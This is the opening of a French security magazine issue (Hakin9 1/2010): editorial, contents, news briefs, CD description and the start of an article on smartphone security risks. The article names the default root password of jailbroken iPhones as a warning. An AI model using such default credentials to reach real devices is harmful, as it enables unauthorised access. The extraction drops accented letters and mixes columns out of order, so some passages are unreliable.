Vous êtes sur la page 1sur 84

DITORIAL

CHERS LECTEURS,
Nous avons le plasir de vous prsenter le 1er numro de cette nouvelle anne 2010. cette occasion, nous vous souhaitons tous et toutes une merveilleuse anne 2010 pleine de russite professionnelle, ainsi que beaucoup de plaisir lors de la lecture de notre magazine. L'anne dernire, beaucoup d'entre vous nous suggraient de nous intresser au sujet de la scurit des smartphones. Nous avons pris en compte de vos souhaits, et revenons vers vous cette fois, avec les dossiers qui prsentent cette question sous diffrents aspects. Nous vous montrerons que les nouveaux smartphones professionnels tels que liPhone dApple ou encore le Blackberry de RIM offrent de puissantes fonctionnalits permettant aux professionnels nomades de rester connect leurs emails, calendriers, intranets et autres outils du quotidien ainsi quaux utilisateurs classique. Toutefois, si ces terminaux ne sont pas dploys et grs correctement, ils peuvent prsenter des risques significatifs en matire de scurit. Cet numro contient aussi l'article qui vous expliquera comment gagner du temps en automatisant l'exploitation de vulnrabilits dcouvertes lors de l'analyse du rseau. Certains lecteurs n'apprendront rien dans l'article Automatiser l'exploitation de vulnrabilit lors d'un test d'intrusion, mais d'autre y dcouvriront peut-tre comment installer et faire interagir ces outils. Et maintenant nous voudrions attirer votre attention au sujet de la restauration des symboles de dbogage qui est primordiale pour mieux apprhender les problmes spcifiques aux fichiers binaires stripps. La mthode expose dans l'article Restaurer les symboles de dbogage partir de binaires compils statiquement peut tre rutilise dans d'autres champs d'tude. Sans oublier le CD-ROM, sur lequel, vous trouverez tutoriel vido pour l'article Windows FE Live CD d'investigation informatique Windows-PE.

Nous vous souhaitons une trs bonne lecture, Jakub Borowski

A cause de plusieurs mprises dans le procs de production dans notre magazine l'article La RAM: une vulnrabilit avre des disques chiffrs de notre auteur Jrome Bise a t publi avec plusieurs erreurs. Dans cette issue nous publions la version corrige par l'auteur. Nous prions l'auteur et ses collaborateurs de bien vouloir accepter nos sincres excuses.

1/2010 HAKIN9

SOMMAIRE
DOSSIER
12 La scurit des smartphones
RGIS SENET De nos jours, avec lexplosion relativement rcente des rseaux 3G, les besoins en termes de connectivit en environnement professionnel sont constants. Les nouveaux smartphones professionnels tels que liPhone dApple ou encore le Blackberry de RIM offrent de puissantes fonctionnalits permettant aux professionnels nomades de rester connect leurs emails, calendriers, intranets et autres outils du quotidien ainsi quaux utilisateurs classique. Toutefois, si ces terminaux ne sont pas dploys et grs correctement, ils peuvent prsenter des risques significatifs en matire de scurit.

ATTAQUE
34 Automatiser l'exploitation de vulnrabilit lors d'un test d'intrusion
ERIC BEAULIEU L'une des tapes la plus longue, mais peut tre la plus intressante, durant un test d'intrusion, est l'exploitation des vulnrabilits dcouvertes. Celleci, ralise traditionnellement aprs la dcouverte du primtre et des htes qui le composent et le plus souvent soumise accord du client. Dans cet article, nous allons donc voir comment gagner du temps en automatisant l'exploitation de vulnrabilits dcouvertes lors de l'analyse du rseau. Certains lecteurs n'apprendront rien dans cet article, mais d'autre y dcouvriront peut-tre comment installer et faire interagir ces outils.

16

Mcanisme de Scurit sous Android


BABACI NABIL Faire du dveloppement Open-Source devient de plus en plus tendance, surtout si nous pouvons profiter la fois de services qui ont fait leurs preuves dans ce domaine comme le fait si bien Google. Nouveau sur le march des OS embarqus pour les smartphones, Android propose toute une panoplie de services centrs utilisateur mais offre aussi une plateforme de dveloppement alliant puissance et simplicit, offrant les mcanismes de scurit les plus rcents et des plus faciles simple mettre en oeuvre.

42

Remote download excution avec java : utilisation et protection

CHRISTOPHE B. AKA T0FX La plate-forme Java fut lun des premiers systmes offrir le support de lexcution du code partir de sources distantes. Un applet peut fonctionner dans le navigateur web dun utilisateur, excutant du code tlcharg depuis un serveur HTTP. Le code dune applet fonctionne dans un espace trs restrictif, ce qui protge lutilisateur des codes errons ou mal intentionns. Cet espace est dlimit par un objet appel gestionnaire de scurit. Un tel objet existe aussi pour du code local, mais il est alors par dfaut inactif.

FOCUS
20 Restaurer les symboles de dbogage partir de binaires compils statiquement
JUSTIN SUNWOO KIM La restauration des symboles de dbogage est primordiale pour mieux apprhender les problmes spcifiques aux fichiers binaires stripps. La mthode expose dans le prsent article peut tre rutilise dans d'autres champs d'tude.

PRATIQUE
48 Windows FE Live CD d'investigation informatique Windows-PE
MARC REMMERT Au cours de l'anne 2008, des rumeurs ont circul sur la distribution d'un Live CD Microsoft Windows FE. Sur Internet tous les types de sujets taient abords dont celui de la scurit et de l'investigation informatique, pourtant ce CD Windows n'a pas connu un franc succs.

4 HAKIN9 1/2010

SOMMAIRE
60 La scurit des rseaux bluetooth
RGIS SENET Bluetooth est une spcification de l'industrie des tlcommunications. Elle utilise une technologie radio courte distance destine simplifier les connexions entre les appareils lectroniques. Elle a t conue dans le but de remplacer les cbles entre les ordinateurs et les imprimantes, les scanners, les claviers, les souris, les manettes de jeu vido, les tlphones portables, les PDA, les systmes et kits mains libres, les autoradios, les appareils photo numriques, les lecteurs de code-barres, les bornes publicitaires interactives.

VARIA
06 En bref
NICOLAS HILY Vous trouverez ici les nouvelles du monde de la scurit des systmes informatiques.

10

Sur le CD-ROM

Nous vous prsentons le contenu et le mode de fonctionnement de la version rcente de notre principale distribution hakin9. Et les applications commerciales

TECHNIQUE
64 LA RAM : Une vulnrabilit avre des FDE
JRME BISE Les systmes de chiffrement de disque la vol (FDE, on the Fly Disk Encryption) sont des logiciels permettant d'assurer la confidentialit des donnes. Ces systmes permettent de chiffrer/dchiffrer les donnes d'un disque dur (ou d'un conteneur) lorsque l'on y accde. Ils sont compltement transparents pour les utilisateurs (except la saisie dun mot de passe). L'utilisation de FDE est aujourd'hui de plus en plus courante, que ce soit par des entreprises ou des particuliers pour assurer la confidentialit des donnes.
A cause de plusieurs mprises dans le procs de production dans notre magazine l'article La RAM: une vulnrabilit avre des disques chiffrs de notre auteur Jrome Bise a t publi avec plusieurs erreurs. Dans cette issue nous publions la version corrige par l'auteur. Nous prions l'auteur et ses collaborateurs de bien vouloir accepter nos sincres excuses.

Le bimestriel hakin9 est publi par Software Press Sp. z o. o. SK Prsident de Software Press Sp. z o. o. SK: Pawe Marciniak Directrice de la publication: Ewa Lozowicka Redacteur en chef: Jakub Borowski jakubborowski@hakin9.org Fabrication: Andrzej Kuca andrzej.kuca@software.com.pl DTP : Graphics & Design Marcin Zikowski www.gdstudio.pl Couverture : Agnieszka Marchocka Couverture CD : Przemyslaw Banasiewicz Publicit : publicite@software.com.pl Abonnement : software@emdnl.nl Diffusion : Ilona Lepieszka Ilona.lepieszka@software.com.pl Dpt lgal : parution ISSN : 1731-7037 Distribution : MLP Parc dactivits de Chesnes, 55 bd de la Noire BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX (c) 2009 Software Press Sp. z o. o. SK, tous les droits rservs Bta-testeurs : Didier Sicchia, Pierre Louvet, Anthony Marchetti, Rgis Senet, Paul Amar, Julien Smyczynski Les personnes intresses par la coopration sont invites nous contacter : fr@hakin9.org Prparation du CD : Rafal Kwany Imprimerie, photogravure : ArtDruk www.artdruk.com Adresse de correspondance : Software Press Sp. z o. o. SK Bokserska 1, 02-682 Varsovie, Pologne Tl. +48 22 427 32 87, Fax. +48 22 244 24 59 www.hakin9.org Abonnement (France mtropolitaine, DOM/TOM) : 1 an (soit 6 numros) 35 La rdaction fait tout son possible pour sassurer que les logiciels sont jour, elle dcline toute responsabilit pour leur utilisation. Elle ne fournit pas de support technique li linstallation ou lutilisation des logiciels enregistrs sur le CD-ROM. Tous les logos et marques dposs sont la proprit de leurs propritaires respectifs. Le CD-ROM joint au magazine a t test avec AntiVirenKit de la socit G Data Software Sp. z o.o. AVERTISSEMENT Les techniques prsentes dans les articles ne peuvent tre utilises quau sein des rseaux internes. La rdaction du magazine nest pas responsable de lutilisation incorrecte des techniques prsentes. Lutilisation des techniques prsentes peut provoquer la perte des donnes !

72

L'argent sales des cyber-criminels

GUILLAUME LOVET Arnaqueurs, phishers, bot herders, spammeurs, extorqueurs en-ligne, voleurs didentit... Leurs noms semblent obscurs mais leurs intentions ne le sont pas : ils sont tous l pour voler notre argent.

1/2010 HAKIN9

EN BREF
GOOGLE RACHTE UNE TECHNOLOGIE DE PERSONNALISATION DES PUBLICITS EN LIGNE
Aprs AdMob et Gizmo5, Google annonce le rachat de Teracent, une start-up de la Silicon Valley, spcialise dans l'affichage personnalis de publicits en ligne. Le gant des

1 HEURE AU SOLEIL POUR TLPHONER 10 MINUTES AVEC LE SAMSUNG E1107


Aprs LG, Samsung lance son mobile solaire, le E1107 "Crest Solar" disponible 1 euro chez l'oprateur MVNO Simplicime. Dot de cellules photovoltaques, cet appareil se recharge grce l'nergie solaire. Une heure d'exposition au soleil permet de passer 10 minutes d'appel selon le constructeur coren. Ce Samsung "colo" est galement livr dans un emballage fabriqu partir de matriaux respectueux de l'environnement et avec un chargeur conome en nergie. Commercialisation partir du 25 novembre 1 euro avec une gamme de forfaits (engagement sur 24 mois) , et 49 euros avec une offre prpaye.

moteurs de recherche compte clore l'acquisition au cours de ce trimestre, mais le montant de la transaction n'a pas t prcis. Il y a deux semaines peine, Google avait dj marqu son intrt pour AdMob, un spcialiste de la publicit sur mobiles, et propos de l'acqurir pour 750 M$ en actions. Teracent s'appuie sur des algorithmes d'apprentissage pour personnaliser les publicits qu'il diffuse aux internautes en piochant parmi des milliers d'lments graphiques (images, produits, messages, couleurs...), explique Google. Ces lments sont combins d'autres variables telles que la localisation gographique, la langue, les contenus du site Web, le moment de la journe ou, encore, les rsultats prcdemment enregistrs sur diffrentes publicits. Cette technologie peut aider les annonceurs obtenir de meilleurs rsultats sur leur campagne d'affichage sur le Web , commentent sur un billet de blog Neal Mohan, vice prsident de la gestion produit, et Joerg Heilig, directeur technique de Google. Ces outils seront proposs aux annonceurs qui affichent des campagnes sur le rseau de contenu Google ainsi qu'aux clients issus du rachat de la rgie publicitaire DoubleClick. En mars dernier, Google avait commenc tester sur Youtube et sur les sites de ses partenaires une technologie permettant de personnaliser les messages publicitaires en fonction des sites visits par les internautes.
6 HAKIN9 1/2010

CONFICKER INFECTE 7 MILLIONS DE PC EN UN AN


Le ver Conficker et ses diffrentes variantes ont pass le cap de 7 millions de machines infectes, selon des chercheurs de la Fondation Shadowserver. Ceux-ci ont gard la trace de l'infection de ces PC en cassant l'algorithme utilis par le ver pour rechercher des instructions sur Internet et en plaant leurs propres serveurs de siphonnage sur les diffrents domaines visiter. Conficker rcupre les instructions de diffrentes faons et, pour cette raison, les pirates ont pu garder le contrle des machines, mais les serveurs de siphonnage des chercheurs ont donn une bonne ide du nombre de machines empoisonnes.

Mme si Conficker est le plus connu des vers sur PC, les machines continuent tre infectes, commente Andre DiMino, co-fondateur de la Fondation Shadowserver. La tendance est la hausse et le dpassement des 7 millions de victimes constitue un vnement majeur . Conficker a d'abord attir l'attention des experts en scurit en novembre 2008 puis a reu un large cho auprs des mdias dbut 2009. Il a dmontr son impressionnante rsistance et sa capacit intoxiquer d'autres systmes mme aprs sa surpression. Ce verre est trs rpandu en Chine et au Brsil par exemple. Ce qui laisse penser aux membres du Groupe de travail Conficker (une coalition de l'industrie mis en place l'anne dernire pour radiquer ce ver) que la plupart des ordinateurs infects fonctionnent avec des copies pirates de Windows. Leurs utilisateurs ne peuvent ainsi tlcharger ni les patches, ni les outils de nettoyage contre les logiciels malicieux que fournit Microsoft. En dpit de sa taille, Conficker n'a que rarement t utilis par les criminels qui le contrlent. Pourquoi ? Le mystre reste entier. Certains membres du Groupe de travail Conficker estiment que le crateur du ver hsite attirer davantage l'attention sur lui, tant donn le succs mondial de son oeuvre. La seule chose dont on est sr, c'est que cette personne est terrifie, assure Eric Sites, directeur technologique chez Sunbelt Software et membre du groupe de travail. Cette chose a cout tellement d'argent aux entreprises et aux personnes pour en venir bout, que si on trouve un jour les auteurs, ils seront exils pour un bon moment . Les responsables informatiques dcouvrent

EN BREF
souvent la prsence d'une infection Conficker quand un utilisateur est tout d'un coup incapable de s'identifier sur son ordinateur. Les machines touches tentent de se connecter aux autres ordinateurs sur le rseau et de deviner leur mot de passe. Comme le ver utilise un dictionnaire pour dcouvrir le mot de passe et effectue de nombreuses tentatives, les utilisateurs autoriss sont rgulirement vincs du rseau. Le cot des dgts pourrait tre bien plus important sir Conficker tait utilis pour une attaque en dni de service distribu, par exemple. C'est sans nul doute un botnet qui pourrait se transformer en arme vritable, confirme Andre DiMino. Avec un maillage d'une telle ampleur, il n'y a pas de limites au mal que l'on peut faire . ami . Outre sa gratuit pour un usage domestique (mais combien de TPE/PME l'utilisent ainsi ?), Avast! doit son originalit son systme de mises jour qui s'effectuent automatiquement quand l'ordinateur est connect Internet, et l'analyse en temps rel des programmes excuts (documents, emails, fichiers partags, etc.). Avast! est disponible en 33 langues, dont le franais.

SYMANTEC S'OFFRE LES OUTILS ANTI-INTRUSION DE MI5


Si John Thomson a quitt les rnes de Symantec pour une retraite bien mrite, la frnsie de rachats semble continuer sous l're du nouveau PDG, Enrique Salem. En prambule de la

GOOGLE DONNE UNE SEMITRANSPARENCE SUR SES DONNES PERSONNELLES


Transparence, choix et contrle. C'est ainsi que Google dcrit son tout nouveau service, Dashboard, un tableau de bord permettant tout utilisateur inscrit chez Google de grer depuis une seule page toutes ses donnes

L'ANTIVIRUS GRATUIT AVAST APPROCHE DES 100 MILLIONS D'UTILISATEURS


L'diteur Alwil Software annonce s'approcher du cap des 100 millions d'utilisateurs dans le monde de son logiciel antivirus Avast!, tlchargeable gratuitement. Le premier internaute d'Avast! s'est enregistr en janvier 2002, et le 50 millionime en mars 2008.

Le 100 millionime utilisateur du logiciel recevra en cadeau un sjour gratuit pour Prague, lieu du sige d'Alwil Software. Il pourra emmener un ami dans la capitale de la rpublique tchque - peut-tre la personne qui lui aura recommand le logiciel, explique le patron d'Alwil Software, dans la mesure o deux utilisateurs sur trois d'Avast! s'inscrivent sur les conseils d'un
8 HAKIN9 1/2010

personnelles. Il est vrai que si on cumule les services de messagerie Gmail, de messagerie instantane Gtalk, de partage de vidos Youtube, de partage de photos Picasa, d'dition de documents Docs, d'agenda Calendar, etc., le besoin d'un tel tableau de bord se faisait sentir. Le paramtrage peut ainsi s'effectuer depuis un point unique. Cela permet en outre Google d'afficher sa bonne volont quant au traitement des donnes personnelles. Toutefois, Google Dashboard ne montre que ce que l'utilisateur a luimme dcid d'afficher ou de faire dans chacun des services. Cela ne rpond donc pas aux interrogations des dfenseurs de la confidentialit des donnes, sur les informations collectes par Google et l'usage qu'il en fait. Le Dashboard est accessible depuis la page de paramtrage de son compte, ou bien en tapant directement google.com/dashboard.

confrence RSA Security, Symantec vient en effet d'acheter Mi5 Networks, une start-up spcialise dans la protection des entreprises contre les intrusions et les malwares en provenance du Web. L'offre de Mi5 devrait progressivement intgrer les suites de Symantec dans le courant de l'anne, notamment ses passerelles de messagerie et ses outils ddis aux postes de travail, et sera galement vendue en produit autonome. Symantec n'a encore donn aucun montant pour cette nouvelle acquisition, mais elle devrait tre bien en de des 695 millions de dollars dpenss en octobre dernier pour MessageLabs, dernire socit en date avale par Symantec. Entre temps, la crise est passe par l et la dvaluation boursire des actifs de Symantec a caus un trou de prs de 7 milliards de dollars dans les caisses d'une socit jusqu'ici plutt profitable. Outre cet achat, Symantec a annonc dans la foule deux suites pour les professionnels : Symantec Protection Suite Small Business Edition et Symantec Protection Suite Entreprise Edition. Commercialises des prix non encore dfinis partir de l't, ces suites veulent non seulement assurer la scurit des postes de travail mais galement proposer des services de sauvegarde et de restauration de donnes, de mise en place des politiques d'entreprise et de la protection

des donnes sensibles (notamment leur envoi vers l'extrieur par mail).

OFFICESCAN 10 TREND MICRO


Trend Micro lance OfficeScan 10, une solution de protection pour les postes de travail et les serveurs. Cette nouvelle version a t toffe par des fonctionnalits de rputation de fichiers et de sites Web qui permet d'viter les malwares. La solution s'appuie sur la plateforme Spart Protection Network de l'diteur. En fonction des besoins de l'entreprise, il est possible de rajouter des outils comme Intrusion Defense Firewall (prvention des intrusions), Mobile Security pour protger les donnes sur les smartphones et les PDA, Security for MacIntosh qui, comme son nom l'indique, s'adresse aux utilisateurs Apple et Virtualisation Security pour les machines virtuelles. Trend Micro OfficeScanTM 10 est disponible en deux versions, Standard Advanced, qui comprend intgre toutes les options dcrites plus haut. Outre la disponibilit de ServerProtect pour les environnements Windows, Netware et Linux, la version Advanced d'OfficeScan 10 est galement compatible avec EMC Celera et Netapp Filer.

des TPE, des PME et des grands comptes, avec une nouvelle gamme de commutateurs qui leur est ddie.En France, seront proposs deux commutateurs pour les TPE, un commutateur conu pour les besoins des PME et une troisime offre pour ceux des grands comptes. D'ici la fin de l'anne, cette gamme de produits Huawei sera complte par des solutions de stockage (traditionnelles et flash). La reprise par 3Com des parts de Huawei dans H3C lui avait permis de bnficier d'une base solide en Chine, pour concevoir et dvelopper ses produits... et finalement devenir assez allchant pour que HP le rachte.

normes sont trs peu contraignantes. Dans le pass, un accord entre l'Union Europenne et les Etats-Unis, dit de safe harbor , a permis des changes entre entreprises europennes et amricaines respectant volontairement un certain nombre de rgles, mais sans que toutes les entreprises amricaines aient se soumettre des rgles contraignantes. Dans la logique amricaine, le type de protection des donnes personnelles relve de la libre entreprise et du contrat pass entre la personne concerne et l'entreprise disposant du fichier. La logique europenne est au contraire celle de la rgle commune impose et gre par l'autorit publique.

UN PREMIER PAS VERS DES STANDARDS MONDIAUX POUR PROTGER LES DONNES PERSONNELLES
Dbut novembre, la CNIL a particip avec ses homologues du monde entier la 31me confrence mondiale des commissaires la protection des donnes personnelles, Madrid. Selon la CNIL, les 80 organismes participant ont lunanimit vot une rsolution visant tablir des standards internationaux sur la protection des donnes personnelles et de la vie prive. (...) L'adoption d'un tel document constitue un pas historique car, pour la premire fois, les autorits de protection des donnes sont parvenues laborer au niveau mondial un corpus de principes communs adapts aux dernires volutions technologiques. . Cependant, le texte exact adopt n'est pas disponible ce jour. A l'occasion de l'atelier sur le "Droit l'oubli numrique", organis dans les locaux de Sciences Po Paris, le 12 novembre dernier, Alex Trk, prsident de la CNIL, a soulign l'intrt et l'importance d'tre parvenu tablir ce corpus, accept par les reprsentants d'une cinquante pays et d'acteurs majeurs du numrique. Mme si ce genre de rsolutions reste le plus souvent une simple dclaration de principe, dfinir un standard mondial dans un monde o l'information circule sans frontire est un premier pas. Toutefois, certains pays, comme les Etats-Unis, ont des

KINDLE : UNE MISE JOUR POUR AUGMENTER L'AUTONOMIE DE LA BATTERIE ET SUPPORTER LE PDF
Le livre lectronique dAmazon a reu la premire mise jour de son firmware : elle augmente l'autonomie de la batterie lorsque la connexion sans fil est active, et apporte la compatibilit native avec le format PDF. Amazon soigne ses ventes de fin d'anne avec une importante mise jour du firmware de ses Kindle. Importante car elle permet de faire passer l'autonomie de la batterie de 4 7 jours lorsque la connexion sans fil est active. Rappelons que le Kindle ne propose pas de Wi-Fi mais se connecte via le rseau de l'oprateur AT&T. Si l'autonomie augmente en mode sans fil, elle reste en revanche inchange (deux semaines) en usage normal. L'autre amlioration notable est le support en natif du format PDF. Il suffira dsormais de transfrer des documents PDF dans le Kindle depuis un ordinateur par liaison USB ou de les envoyer par courriel l'adresse Kindle associe au livre lectronique. La mise jour est diffuse automatiquement en OTA pour les possesseurs de Kindle et intgre dans tous les nouveaux appareils qui seront expdis. Seule la premire version du Kindle, dpourvue de connexion sans fil, ne peut pas bnficier de ces amliorations. Rdig par Nicolas Hily
1/2010 HAKIN9 9

HUAWEI REVIENT SUR LE MARCH FRANAIS DES ENTREPRISES


En cdant il y a trois ses parts dans H3C, la co-entreprise qu'il avait fonde avec 3Com, Huawei tait sorti par la mme occasion du march des entreprises. L'quipementier chinois s'tait alors recentr sur les acteurs des tlcoms. Il fait aujourd'hui son retour auprs

SUR LE CD
CD-ROM HAKIN9.LIVE
WINDOWS FE LIVE CD D'INVESTIGATION INFORMATIQUE

roy Larson, est un investigateur informatique senior qui travaille au sein du groupe de scurit informatique de Microsoft. C'est lun des tous premiers avoir apport des modifications sur Windows PE pour l'adapter au domaine des investigations informatique lgales. Le systme d'exploitation Windows FE, signifie littralement "environnement

d'investigation informatique" (Forensic Environment). Il est intressant de noter que Windows est largement utilis comme systme d'exploitation par les suites logicielles en investigation informatique, toutefois il n'a jamais servi comme systme de base sur un Live CD. Marc Remmert vous montrera dans cet article comment crer un Live CD dinvestigation informatique tournant

sous Windows Vista et comment ajouter quelques programmes utiles. Avant daller plus loin, notez quil est indispensable davoir quelques connaissances de base des systmes d'exploitation Windows et quelques connaissances dans le domaine de l'investigation informatique.

e Live CD OWASP est une mise jour du Live CD OWASP version 2007. Ce projet a t finalis le 15 Septembre 2008 dans le cadre de lOWASP Summer of Code (SoC) et une version de production a t lance dans la foule. Dautres versions ont galement t distribues : Version Portugaise (12 Dcembre 2008), Version AustinTerrier (10 Fvrier 2009), Version AppSec EU (Mai 2009).

LIVE CD OWASP

En plus de ces versions spcifiques au Live CD OWASP, l'organisateur a mis en place des forums et des didacticiels sur le sujet ainsi que des documents, outils et ressources pour la communaut soccupant de laspect scurit des applications.
10 HAKIN9 1/2010

D'autres versions ont galement vu le jour dans le cadre de ce projet. Il existe actuellement une version du Live CD OWASP tournant sous VMware et installe sur un lecteur virtuel. Celle-ci permet d'excuter un systme d'exploitation partir d'une cl USB bootable, une installation VM portable, et une installation Asus Eee PC. Vous pouvez tlcharger ces versions sous forme de fichiers ou suite d'instructions afin de crer ce type denvironnement. Le projet a pour but de fournir au plus grand nombre de la documentation et des outils spcifiques pour la scurisation des applications. A titre personnel je trouve que cest une excellente initiative qui vient complter le travail fournit par lOWASP sur la scurisation des applications.

Le projet vise galement : Fournir de la documentation et des outils OWASP rcents. Fournir des outils de scurisation d'applications distribus gratuitement et des packages faciles prendre en main. Veiller ce que les outils fournis soient faciles d'utilisation. Fournir de la documentation et des outils rcents spcifiques au Live CD OWASP. Fournir de la documentation actualise sur l'utilisation des outils et la mthodologie de dveloppement des modules. Veiller ce que les outils fournis soient en cohrence avec le guide OWASP Testing.

HAKIN9.LIVE

Sil vous est impossible de lire le CD. et que ce dernier nest pas endommag physiquement, essayez de lire dans au moins 2 lecteurs diffrents.

En cas de problme avec votre CD, envoyez-nous un message ladresse suivante : cd@hakin9.org

6/2008 HAKIN9

1 1

DOSSIER
RGIS SENET

La scurit des smartphones


De nos jours, avec lexplosion relativement rcente des rseaux 3G, les besoins en termes de connectivit en environnement professionnel sont constants. Les nouveaux smartphones professionnels tels que liPhone dApple ou encore le Blackberry de RIM offrent de puissantes fonctionnalits permettant aux professionnels nomades de rester connect leurs emails, calendriers, intranets et autres outils du quotidien ainsi quaux utilisateurs classique. Toutefois, si ces terminaux ne sont pas dploys et grs correctement, ils peuvent prsenter des risques significatifs en matire de scurit.

Degr de difficult

CET ARTICLE EXPLIQUE...


Ce quest un smartphone. Les attaques relatives aux smartphones.

CE QU'IL FAUT SAVOIR...


Aucune connaissance particulire nest requise. 12 HAKIN9 1/2010

n effet, les smartphones permettent daccder une quantit phnomnale dinformations sensibles lie aux entreprises, telle que les contacts clients, les donnes financires, lintranet et les rseaux. Si lune de ces informations venait tomber entre de mauvaises mains, que ce soit via un logiciel malveillant ou parce quun terminal est perdu ou vol, cela pourrait avoir un effet dvastateur pour lentreprise. Comme pour chaque nouveaut, un nouveau march technologique rencontrant un fort succs et rapportant beaucoup dargent aux constructeurs, ce march peut devenir intressant pour les cyber criminels. Les cybers pirates n'ont donc pas tard se lancer sur les traces des utilisateurs de smartphones pour diffuser de nouvelles attaques et pirater les entreprises. iSupply Corp prvoie d'ailleurs que la vente des smartphones va atteindre les 192 millions d'units pour 2009, soit une

croissance de 11,1% par rapport 2008. Il est donc vraiment temps de sensibiliser les utilisateurs de smartphones quil sagisse dutilisateurs occasionnel ou encore des professionnels.

Les smartphones

Un smartphone est un tlphone mobile coupl un PDA. Il fournit les fonctionnalits d'agenda/calendrier, de navigation web, de consultation de courrier, de messagerie instantane, de GPS, etc. En 2005, seulement 2 % des tlphones mobiles sont des smartphones, mais les analystes prvoient d'arriver 30 % d'ici 2010. Les ventes de smartphones ont augment considrablement pour atteindre le nombre record de 39,9 millions de smartphones vendus sur le premier quart de lanne 2009. Ces chiffres sont bien videment en constante augmentation. Au jour daujourdhui, le march des smartphones est principalement domin par quatre systmes qui ont rellement tirs leur pingle du jeu :

SMARTPHONE
Symbian OS, iPhone OS, RIM BlackBerry OS, Windows Mobile. de mme tenaces, il est donc ncessaire dtre prudent. Les moyens de propagation des malwares sont trs diffrentes, ils peuvent se transmettre via MMS, Bluetooth ou encore infect lordinateur lors de la connexion ce dernier. Symbian possde le plus grand nombre de produit permettant lespionnage commercial. Il est donc rellement ncessaire dtre sur ses gardes lors de linstallation de quoi que ce soit. distribu sur lensemble des appareils communment appel BlackBerry. Ce systme dexploitation ne possde quune scurit que vraiment peut lever contre les malwares ainsi que les logiciels espions. De plus, il est extrmement facile de dvelopper une application et de la distribuer sans contrainte, donc attention aux applications disponible sur le net.Malgr tout cela, il nexiste pas normment de malware ni de logiciel espions pour BlackBerry. Des prsentations ayant pour but de prsenter lutilisation malicieuse dun BlackBerry dans un rseau dentreprise peuvent se trouver sur le net.

Cet engouement pour les smartphones peut galement sexpliquer du fait de la diminution de leur taille ainsi quune augmentation des capacits de stockage de ces derniers. Pour simple exemple, liPhone dispose dun espace 32Go permettant de stocker un nombre considrable de donnes pour un appareil de cette taille. Nous allons prsenter un peu les quatre systmes tirant leur pingle de jeu afin de voir leurs avantages/ inconvnients.

Symbian OS

Le systme dexploitation Symbian est une cible pour de nombreux malware du fait que cet OS est vraiment trs rpandu et quil est vraiment simple de dvelopper dessus grce des interprteurs de langages inclus nativement comme par exemple le python. Depuis sa dernire version, Symbian intgre une scurit supplmentaire permettant de contrer les malwares. Cette scurit est bas sur la signature des binaires. Il existe plusieurs manires permettant de signer les binaires apportant des avantages ainsi que des inconvnients. Bien sur, la signature des binaires est une bonne mthode mais ne permet pas de supprimer lensemble des malwares, certains dentre eux sont tout

Le systme dexploitation iPhone est un driv du systme Mac OS X. Il possde une sparation des privilges ainsi que des droits sur les fichiers proche du systme UNIX. Bien videmment, il nexiste pas que le compte root pour mener bien lensemble des actions, il existe galement un compte utilisateur nomm mobile permettant de lancer les applications nayant pas besoin de privilges. A la manire de Symbian, les applications iPhone possde un systme de signature des applications quil est possible dinstaller. Initialement, lensemble des applications est contrl par Apple qui signe lui-mme les applications aprs des vrifications pralables. Le dverrouillage de liPhone aussi connu sous le nom de JailBreak permet de supprimer cette limitation impos par Apple et permet linstallation de logiciel non sign. Cest partir de cet instant que la scurit peut tre compromise avec linstallation de malwares ou de logiciels espions. Il est galement noter que le jailbreak de lIPhone le rend plus vulnrable du fait que des nouvelles attaques distantes sont disponibles avec lactivation du SSH par exemple avec des mots de passe par dfaut que bien des personnes ne pensent changer.

iPhone OS

Windows Mobile

Tous comme lensemble des systmes dexploitation de Microsoft (Windows XP, Vista, Seven), le systme dexploitation dans sa version mobile de Microsoft, savoir Windows Mobile attire galement de nombreux programmeurs, hacker et cyber pirates. Il existe deux versions pour ce systme dexploitation qui sont les versions 5.0 et 6.0. Ces deux versions prsentent nanmoins des lacunes de scurit. Dun point de vue scuritaire, Windows mobile connait le mme type dattaques que les systmes dexploitation vue prcdemment. Rajoutons cela que la scurit par dfaut de ce systme dexploitation est relativement faible : Possibilit dexcuter des binaires de manires silencieuse, Auto-excution partir des mdias amovible activs par dfaut, Aucune sparation des privilges.

Figure 1. Compromission dun smartphone dans un rseau dentreprise

BlackBerry OS est un systme dexploitation dvelopp par la socit RIM. Il est lheure actuelle

BlackBerry OS

Pour les versions antrieures la version 4.0 du logiciel de synchronisation des smartphones (ActiveSync), il existait de grosse faille de scurit lors de la synchronisation travers le rseau. En effet, les donnes transitant en clair sur le rseau, il tait possible un cyber pirates deffectuer une attaque de type Man In The Middle entre le smartphone et le poste de synchronisation afin de rcuprer lensemble des donnes.
1/2010 HAKIN9 13

DOSSIER
Il est mme possible de voir encore plus loin dans la compromission dun rseau. Le smartphones pourrait tout simplement servir de passerelle vers le rseau dentreprise afin davoir un accs direct lensemble du rseau dentreprise. Il est galement possible que le smartphone infecte le poste client qui lui-mme tentera dinfecter le rseau dentreprise permettant ainsi aux cybers criminels de rester dans lombre et de navoir qua rcuprer lensemble des informations que le poste client infect aura rcupr. La porte de lattaque ne va donc sarrter que lorsque le cyber criminel naura plus dides, cela peut faire assez froid dans le dos. il est ncessaire par exemple de toujours verrouiller son tlphone lorsquil peut tre lu ou approch par quelquun. Toujours dans le bon sens, il est important de ne pas installer des applications provenant de source non sure car la majorit des logiciels espions et/ou malwares proviennent de cela. Dans un cadre professionnel, il est ncessaire de savoir rester professionnel, c'est--dire quil nest pas ncessaire dinstaller des jeux ou de jailbreaker son iPhone si cela naide pas pour le travail, cela peut tre beaucoup plus dangereux quautre chose. Pour en revenir au jailbreak de liPhone, rappelons que ce dernier permet de dbloquer un accs distant via un serveur SSH, il est impratif de garder en tte que le mot de passe par dfaut peut tre connu de tous le monde, il est donc ncessaire de la modifier ou bien de dsactiver le serveur SSH. (Par dfaut login : root et mot de passe : alpine). Noubliez pas non plus de dsactiver le Bluetooth si vous ne vous en servez pas, de nombreuses attaques passent par ce protocole.

Figure 2. PDA

Les risques lis la compromission dun smartphone

